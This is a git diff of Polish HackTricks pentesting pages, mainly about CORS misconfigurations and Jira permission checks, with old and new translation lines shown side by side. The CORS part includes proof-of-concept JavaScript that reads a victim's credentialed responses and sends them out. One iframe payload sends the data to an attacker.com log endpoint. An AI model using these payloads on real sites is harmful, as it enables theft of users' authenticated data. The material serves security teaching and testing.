@ -352,9 +352,9 @@ Dowiedz się więcej o podatnościach sieci Web:
Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) do monitorowania stron pod kątem modyfikacji, które mogą wprowadzić podatności.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i chcesz hakować nie do zdarcia - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera hakera** i chcesz hakować nie do złamania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -434,7 +434,7 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -14,17 +14,17 @@ Inne sposoby wsparcia HackTricks:
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona_).
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
### Sprawdź Uprawnienia
W Jirze **uprawnienia można sprawdzić** przez dowolnego użytkownika, zalogowanego lub nie, za pomocą punktów końcowych `/rest/api/2/mypermissions` lub `/rest/api/3/mypermissions`. Te punkty końcowe ujawniają bieżące uprawnienia użytkownika. Istotnym zagrożeniem jest sytuacja, gdy **niezalogowani użytkownicy posiadają uprawnienia**, co wskazuje na **lukę w zabezpieczeniach**, która potencjalnie może kwalifikować się do **znalezienia błędu**. Podobnie, **nieoczekiwane uprawnienia dla zalogowanych użytkowników** również wskazują na **lukę w zabezpieczeniach**.
W Jirze **uprawnienia można sprawdzić** przez dowolnego użytkownika, zalogowanego lub nie, za pomocą punktów końcowych `/rest/api/2/mypermissions` lub `/rest/api/3/mypermissions`. Te punkty końcowe ujawniają bieżące uprawnienia użytkownika. Istotnym zagrożeniem jest sytuacja, gdy **niezalogowani użytkownicy posiadają uprawnienia**, co wskazuje na **lukę w bezpieczeństwie**, która potencjalnie może kwalifikować się do **znalezienia błędu**. Podobnie, **nieoczekiwane uprawnienia dla zalogowanych użytkowników** również wskazują na **lukę w bezpieczeństwie**.
Ważna **aktualizacja** została wprowadzona **1 lutego 2019 r.**, wymagając dodania parametru **'permission'** do punktu końcowego 'mypermissions'. Wymaganie to ma na celu **wzmocnienie bezpieczeństwa**, poprzez określenie uprawnień, które są zapytywane: [sprawdź to tutaj](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
Ważna **aktualizacja** została wprowadzona **1 lutego 2019 r.**, wymagając dodania parametru **'permission'** do punktu końcowego 'mypermissions'. Wymaganie to ma na celu **poprawę bezpieczeństwa**, poprzez określenie sprawdzanych uprawnień: [sprawdź to tutaj](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -78,19 +78,19 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli jesteś zainteresowany **karierą hakera** i hakiem na nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego_).
Jeśli jesteś zainteresowany **karierą hakera** i hakiem na niehakowalne - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i zostań ekspertem AWS w hakowaniu z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,49 +1,49 @@
# CORS - Konfiguracje błędów i bypass
# CORS - Konfiguracje i Bypassowanie
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
## Czym jest CORS?
## Co to jest CORS?
Standard Cross-Origin Resource Sharing (CORS) **umożliwia serwerom określenie, kto może uzyskać dostęp do ich zasobów** i **jakie metody żądań HTTP są dozwolone** z zewnętrznych źródeł.
Polityka **tej samej domeny** wymaga, aby **serwer żądający** zasobu i serwer hostujący **zasób** miały takie same protokoły (np. `http://`), nazwy domen (np. `internal-web.com`) i **porty** (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają dostęp do zasobów.
Polityka **tego samego pochodzenia** nakazuje, że **serwer żądający** zasobu i serwer hostujący **zasób** muszą dzielić taki sam protokół (np. `http://`), nazwę domeny (np. `internal-web.com`) i **port** (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają zezwolenie na dostęp do zasobów.
Zastosowanie polityki tej samej domeny w kontekście `http://normal-website.com/example/example.html` jest przedstawione poniżej:
Zastosowanie polityki tego samego pochodzenia w kontekście `http://normal-website.com/example/example.html` jest zilustrowane poniżej:
| Odwołany URL | Dostęp dozwolony? |
| ----------------------------------------- | ---------------------------------- |
| `http://normal-website.com/example/` | Tak: Identyczny schemat, domena i port |
| `http://normal-website.com/example2/` | Tak: Identyczny schemat, domena i port |
| `https://normal-website.com/example/` | Nie: Inny schemat i port |
| `http://en.normal-website.com/example/` | Nie: Inna domena |
| `http://www.normal-website.com/example/` | Nie: Inna domena |
| `http://normal-website.com:8080/example/` | Nie: Inny port* |
| Odwołany URL | Dostęp dozwolony? |
| ---------------------------------------- | -------------------------------------- |
| `http://normal-website.com/example/` | Tak: Identyczny schemat, domena i port |
| `http://normal-website.com/example2/` | Tak: Identyczny schemat, domena i port |
| `https://normal-website.com/example/` | Nie: Inny schemat i port |
| `http://en.normal-website.com/example/` | Nie: Inna domena |
| `http://www.normal-website.com/example/` | Nie: Inna domena |
| `http://normal-website.com:8080/example/`| Nie: Inny port\* |
*Internet Explorer ignoruje numer portu przy stosowaniu polityki tej samej domeny, co umożliwia ten dostęp.
\*Internet Explorer pomija numer portu w egzekwowaniu polityki tego samego pochodzenia, co umożliwia ten dostęp.
### Nagłówek `Access-Control-Allow-Origin`
Ten nagłówek może zezwalać na **wiele źródeł**, wartość **`null`** lub dziką kartę **`*`**. Jednak **żaden przeglądarka nie obsługuje wielu źródeł**, a użycie dzikiej karty `*` podlega **ograniczeniom**. (Dzika karta musi być używana samodzielnie, a jej użycie w połączeniu z `Access-Control-Allow-Credentials: true` jest niedozwolone.)
Ten nagłówek może zezwalać na **wiele źródeł**, wartość **`null`** lub znak wieloznaczny **`*`**. Jednak **żaden przeglądarka nie obsługuje wielu źródeł**, a użycie znaku wieloznacznego `*` podlega **ograniczeniom**. (Znak wieloznaczny musi być używany samodzielnie, a jego użycie razem z `Access-Control-Allow-Credentials: true` nie jest dozwolone.)
Ten nagłówek jest **wysyłany przez serwer** w odpowiedzi na żądanie zasobu międzydomenowego inicjowane przez witrynę, a przeglądarka automatycznie dodaje nagłówek `Origin`.
Ten nagłówek jest **wysyłany przez serwer** w odpowiedzi na żądanie zasobu z innej domeny zainicjowane przez stronę internetową, a przeglądarka automatycznie dodaje nagłówek `Origin`.
### Nagłówek `Access-Control-Allow-Credentials`
Domyślnie żądania międzydomenowe są wykonywane bez uwierzytelnienia, takiego jak pliki cookie lub nagłówek Autoryzacja. Jednak serwer międzydomenowy może zezwolić na odczyt odpowiedzi, gdy przesyłane są uwierzytelniające dane, ustawiając nagłówek `Access-Control-Allow-Credentials` na **`true`**.
Domyślnie, żądania z innych źródeł są wykonywane bez uwierzytelnienia, takiego jak ciasteczka lub nagłówek Autoryzacji. Jednak serwer z innej domeny może zezwolić na odczytanie odpowiedzi, gdy przesyłane są uwierzytelniające dane, ustawiając nagłówek `Access-Control-Allow-Credentials` na **`true`**.
Jeśli ustawiono na `true`, przeglądarka przesyła dane uwierzytelniające (pliki cookie, nagłówki autoryzacji lub certyfikaty klienta TLS).
Jeśli ustawione jest na `true`, przeglądarka przekaże uwierzytelniające dane (ciasteczka, nagłówki autoryzacji lub certyfikaty klienta TLS).
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -70,17 +70,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF Wstępne żądanie
### Zapytanie wstępne CSRF
### Zrozumienie wstępnych żądań w komunikacji międzydomenowej
### Zrozumienie Zapytań Wstępnych w Komunikacji Między Domenami
Podczas inicjowania żądania międzydomenowego w określonych warunkach, takich jak użycie **niestandardowej metody HTTP** (innej niż HEAD, GET, POST), wprowadzenie nowych **nagłówków** lub użycie specjalnej wartości nagłówka **Content-Type**, może być wymagane wstępne żądanie. To wstępne żądanie, wykorzystujące metodę **`OPTIONS`**, służy poinformowaniu serwera o intencjach nadchodzącego żądania międzydomenowego, w tym o metodach HTTP i nagłówkach, które ma zamiar użyć.
Podczas inicjowania żądania między domenami w określonych warunkach, takich jak użycie **metody HTTP niestandardowej** (cokolwiek innego niż HEAD, GET, POST), wprowadzenie nowych **nagłówków**, lub zastosowanie specjalnej wartości nagłówka **Content-Type**, może być konieczne zastosowanie zapytania wstępnego. To wstępne żądanie, wykorzystujące metodę **`OPTIONS`**, służy poinformowaniu serwera o intencjach nadchodzącego żądania między domenami, w tym o metodach HTTP i nagłówkach, jakie ma zamiar użyć.
Protokół **Cross-Origin Resource Sharing (CORS)** nakazuje sprawdzenie wstępne w celu określenia wykonalności żądanego działania międzydomenowego poprzez weryfikację dozwolonych metod, nagłówków i wiarygodności pochodzenia. Aby dokładnie zrozumieć, jakie warunki omijają konieczność wstępnego żądania, należy zapoznać się z obszernym przewodnikiem udostępnionym przez [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
Protokół **Cross-Origin Resource Sharing (CORS)** nakazuje tę wstępną kontrolę w celu określenia wykonalności żądanej operacji między domenami poprzez weryfikację dozwolonych metod, nagłówków i zaufania pochodzenia. Aby dokładnie zrozumieć, jakie warunki omijają konieczność zapytania wstępnego, należy zapoznać się z obszernym przewodnikiem udostępnionym przez [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Należy zauważyć, że **brak wstępnego żądania nie znosi konieczności posiadania nagłówków autoryzacyjnych w odpowiedzi**. Bez tych nagłówków przeglądarka nie jest w stanie przetworzyć odpowiedzi na żądanie międzydomenowe.
Należy zauważyć, że **brak zapytania wstępnego nie znosi konieczności posiadania nagłówków autoryzacyjnych w odpowiedzi**. Bez tych nagłówków przeglądarka nie jest w stanie przetworzyć odpowiedzi z żądania między domenami.
Przyjrzyjmy się poniższemu przykładowi wstępnego żądania, które ma na celu użycie metody `PUT` wraz z niestandardowym nagłówkiem o nazwie `Special-Request-Header`:
Rozważ poniższą ilustrację zapytania wstępnego mającego na celu użycie metody `PUT` wraz z niestandardowym nagłówkiem o nazwie `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
@ -89,7 +89,7 @@ Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony pochodzenie i inne szczegóły polityki CORS, jak pokazano poniżej:
W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony pochodzenie oraz inne szczegóły związane z polityką CORS, jak pokazano poniżej:
```markdown
HTTP/1.1 204 No Content
...
@ -99,22 +99,20 @@ Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
- **`Access-Control-Allow-Headers`**: Ten nagłówek określa, które nagłówki mogą być używane podczas rzeczywistego żądania. Jest ustawiany przez serwer, aby wskazać dozwolone nagłówki w żądaniach od klienta.
- **`Access-Control-Expose-Headers`**: Poprzez ten nagłówek serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi, oprócz prostych nagłówków odpowiedzi.
- **`Access-Control-Max-Age`**: Ten nagłówek wskazuje, jak długo wyniki żądania przedwstępnego mogą być przechowywane w pamięci podręcznej. Serwer ustawia maksymalny czas, w sekundach, w którym informacje zwrócone przez żądanie przedwstępne mogą być ponownie używane.
- **`Access-Control-Request-Headers`**: Ten nagłówek jest używany w żądaniach przedwstępnych i jest ustawiany przez klienta, aby poinformować serwer, które nagłówki HTTP klient chce użyć w rzeczywistym żądaniu.
- **`Access-Control-Request-Method`**: Ten nagłówek, również używany w żądaniach przedwstępnych, jest ustawiany przez klienta, aby wskazać, jaką metodę HTTP zostanie użyta w rzeczywistym żądaniu.
- **`Origin`**: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania międzydomenowego. Jest używany przez serwer do oceny, czy przychodzące żądanie powinno być zezwolone czy odrzucone na podstawie polityki CORS.
* **`Access-Control-Allow-Headers`**: Ten nagłówek określa, które nagłówki mogą być używane podczas rzeczywistego żądania. Jest ustawiany przez serwer, aby wskazać dozwolone nagłówki w żądaniach od klienta.
* **`Access-Control-Expose-Headers`**: Poprzez ten nagłówek serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi oprócz prostych nagłówków odpowiedzi.
* **`Access-Control-Max-Age`**: Ten nagłówek wskazuje, jak długo wyniki żądania wstępnego mogą być przechowywane w pamięci podręcznej. Serwer ustawia maksymalny czas, w sekundach, przez jaki informacje zwrócone przez żądanie wstępne mogą być ponownie wykorzystane.
* **`Access-Control-Request-Headers`**: Używany w żądaniach wstępnych, ten nagłówek jest ustawiany przez klienta, aby poinformować serwer, które nagłówki HTTP klient chce użyć w rzeczywistym żądaniu.
* **`Access-Control-Request-Method`**: Ten nagłówek, również używany w żądaniach wstępnych, jest ustawiany przez klienta, aby wskazać, który metodę HTTP zostanie użyta w rzeczywistym żądaniu.
* **`Origin`**: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania międzydomenowego. Jest używany przez serwer do oceny, czy przychodzące żądanie powinno być zezwolone czy odrzucone na podstawie polityki CORS.
Należy zauważyć, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu **GET/POST nie jest wysyłane żądanie przedwstępne** (żądanie jest wysyłane **bezpośrednio**), ale jeśli chcesz uzyskać dostęp do **nagłówków/ciała odpowiedzi**, musi zawierać nagłówek _Access-Control-Allow-Origin_ zezwalający na to.\
Należy zauważyć, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu **GET/POST nie jest wysyłane żądanie wstępne** (żądanie jest wysyłane **bezpośrednio**), ale jeśli chcesz uzyskać dostęp do **nagłówków/ciała odpowiedzi**, musi zawierać nagłówek _Access-Control-Allow-Origin_ pozwalający na to.\
**Dlatego CORS nie chroni przed CSRF (ale może być pomocny).**
### **Żądanie przedwstępne lokalnej sieci**
### **Żądanie wstępne lokalnej sieci**
1. **`Access-Control-Request-Local-Network`**: Ten nagłówek jest dołączany do żądania klienta, aby wskazać, że zapytanie jest skierowane do zasobu lokalnej sieci. Służy jako znacznik informujący serwer, że żądanie pochodzi z wewnątrz lokalnej sieci.
2. **`Access-Control-Allow-Local-Network`**: W odpowiedzi serwery używają tego nagłówka, aby przekazać informację, że żądany zasób może być udostępniany podmiotom spoza lokalnej sieci. Działa jak zielone światło dla udostępniania zasobów między różnymi granicami sieciowymi, zapewniając kontrolowany dostęp przy zachowaniu protokołów bezpieczeństwa.
1. **`Access-Control-Request-Local-Network`**: Ten nagłówek jest dołączany do żądania klienta, aby wskazać, że zapytanie jest skierowane do zasobu w lokalnej sieci. Służy jako znacznik informujący serwer, że żądanie pochodzi z wewnątrz lokalnej sieci.
2. **`Access-Control-Allow-Local-Network`**: W odpowiedzi serwery wykorzystują ten nagłówek, aby przekazać, że żądany zasób może być udostępniany podmiotom spoza lokalnej sieci. Działa jak zielone światło dla udostępniania zasobów między różnymi granicami sieci, zapewniając kontrolowany dostęp przy zachowaniu protokołów bezpieczeństwa.
**Poprawna odpowiedź zezwalająca na żądanie lokalnej sieci** musi również zawierać w odpowiedzi nagłówek `Access-Controls-Allow-Local_network: true`:
```
@ -128,24 +126,22 @@ Content-Length: 0
...
```
{% hint style="warning" %}
Należy zauważyć, że adres IP **0.0.0.0** w systemie Linux umożliwia **ominięcie** wymagań dostępu do lokalnego hosta, ponieważ ten adres IP nie jest uważany za "lokalny".
Możliwe jest również **ominięcie wymagań dotyczących sieci lokalnej**, jeśli użyjesz **publicznego adresu IP lokalnego punktu końcowego** (takiego jak publiczny adres IP routera). Ponieważ w wielu przypadkach, nawet jeśli **publiczny adres IP** jest używany, jeśli jest to **z sieci lokalnej**, dostęp zostanie udzielony.
Należy zauważyć, że adres IP **0.0.0.0** w systemie Linux działa jako sposób na **obejście** tych wymagań, umożliwiając dostęp do localhost, ponieważ ten adres IP nie jest uważany za "lokalny".
Możliwe jest również **obejście wymagań dotyczących sieci lokalnej**, jeśli użyjesz **publicznego adresu IP lokalnego punktu końcowego** (takiego jak publiczny adres IP routera). Ponieważ w kilku przypadkach, nawet jeśli jest dostępny **publiczny adres IP**, jeśli jest to **z sieci lokalnej**, dostęp zostanie udzielony.
{% endhint %}
## Wykorzystywalne błędy konfiguracji
## Wykorzystywane błędy konfiguracyjne
Zauważono, że ustawienie `Access-Control-Allow-Credentials` na **`true`** jest warunkiem wstępnym dla większości **rzeczywistych ataków**. To ustawienie pozwala przeglądarce na wysyłanie poświadczeń i odczytywanie odpowiedzi, zwiększając skuteczność ataku. Bez tego korzyść z zmuszenia przeglądarki do wysłania żądania zamiast samodzielnego wykonania tego czynu maleje, ponieważ wykorzystanie plików cookie użytkownika staje się niemożliwe.
Zauważono, że ustawienie `Access-Control-Allow-Credentials` na **`true`** jest warunkiem koniecznym dla większości **rzeczywistych ataków**. To ustawienie pozwala przeglądarce wysyłać dane uwierzytelniające i odczytywać odpowiedzi, zwiększając skuteczność ataku. Bez tego korzyść z zmuszania przeglądarki do wysłania żądania zamiast zrobienia tego samemu maleje, ponieważ wykorzystanie ciasteczek użytkownika staje się niemożliwe.
### Wyjątek: Wykorzystanie lokalizacji sieciowej jako uwierzytelnienia
### Wyjątek: Wykorzystanie Lokalizacji Sieciowej jako Formy Uwierzytelnienia
Istnieje wyjątek, w którym lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Pozwala to na wykorzystanie przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na adresie IP, aby uzyskać dostęp do aplikacji sieciowych. Ta metoda ma podobne skutki jak DNS rebinding, ale jest prostsza do wykorzystania.
Istnieje wyjątek, gdzie lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Pozwala to na użycie przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na adresie IP, aby uzyskać dostęp do aplikacji intranetowych. Ta metoda ma podobne skutki jak przekierowanie DNS, ale jest łatwiejsza do wykorzystania.
### Odzwierciedlanie `Origin` w `Access-Control-Allow-Origin`
### Odzwierciedlenie `Origin` w `Access-Control-Allow-Origin`
Teoretycznie jest mało prawdopodobne, że wartość nagłówka `Origin` zostanie odzwierciedlona w `Access-Control-Allow-Origin` ze względu na ograniczenia dotyczące łączenia tych nagłówków. Jednak programiści, którzy chcą włączyć CORS dla wielu adresów URL, mogą dynamicznie generować nagłówek `Access-Control-Allow-Origin`, kopiując wartość nagłówka `Origin`. Ten podejście może wprowadzać podatności, zwłaszcza gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wydawała się wiarygodna, wprowadzając w błąd logikę walidacji.
Scenariusz w rzeczywistości, gdzie wartość nagłówka `Origin` jest odzwierciedlana w `Access-Control-Allow-Origin`, jest teoretycznie mało prawdopodobny ze względu na ograniczenia dotyczące łączenia tych nagłówków. Jednak programiści starający się włączyć CORS dla wielu adresów URL mogą dynamicznie generować nagłówek `Access-Control-Allow-Origin`, kopiując wartość nagłówka `Origin`. Ten sposób może wprowadzić podatności, zwłaszcza gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wyglądała na wiarygodną, wprowadzając w błąd logikę walidacji.
```html
<script>
var req = new XMLHttpRequest();
@ -158,9 +154,9 @@ location='/log?key='+this.responseText;
};
</script>
```
### Wykorzystywanie pochodzenia `null`
### Wykorzystanie pochodzenia `null`
Pochodzenie `null`, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje umożliwiają na białej liście to pochodzenie w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia `null` za pomocą osadzonego iframe w piaskownicy, co umożliwia ominięcie ograniczeń CORS.
Pochodzenie `null`, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje dodają to pochodzenie do białej listy w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia `null` za pomocą osadzonego iframu, co umożliwia ominięcie ograniczeń CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -186,23 +182,23 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Techniki obejścia wyrażeń regularnych
### Techniki bypassowania wyrażeń regularnych
Podczas napotkania białej listy domen ważne jest przetestowanie możliwości obejścia, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na przejęcie subdomeny. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą pomijać niuanse w konwencjach nazewnictwa domen, co stwarza kolejne możliwości obejścia.
Podczas napotkania białej listy domen ważne jest przetestowanie możliwości bypassowania, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na przejęcie subdomeny. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą przeoczyć niuanse w konwencjach nazewnictwa domen, co stwarza dodatkowe możliwości bypassowania.
### Zaawansowane techniki obejścia wyrażeń regularnych
### Zaawansowane techniki bypassowania wyrażeń regularnych
Wzorce regex zwykle skupiają się na znakach alfanumerycznych, kropce (.) i myślniku (-), pomijając inne możliwości. Na przykład, nazwa domeny stworzona w taki sposób, aby zawierać znaki interpretowane inaczej przez przeglądarki i wzorce regex, może obejść kontrole bezpieczeństwa. Sposób, w jaki Safari, Chrome i Firefox obsługują znaki podkreślenia w subdomenach, ilustruje, jak takie rozbieżności mogą być wykorzystane do obejścia logiki walidacji domeny.
Wzorce Regex zazwyczaj koncentrują się na znakach alfanumerycznych, kropce (.), i myślniku (-), pomijając inne możliwości. Na przykład, nazwa domeny stworzona tak, aby zawierać znaki interpretowane inaczej przez przeglądarki i wzorce Regex, może ominąć kontrole bezpieczeństwa. Obsługa znaków podkreślenia w subdomenach przez Safari, Chrome i Firefox ilustruje, jak takie rozbieżności mogą być wykorzystane do obejścia logiki walidacji domeny.
**Aby uzyskać więcej informacji i ustawień dotyczących tego rodzaju obejścia, sprawdź:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
**Aby uzyskać więcej informacji na temat tego sprawdzenia bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
### Z wykorzystaniem XSS wewnątrz subdomeny
### Od XSS wewnątrz subdomeny
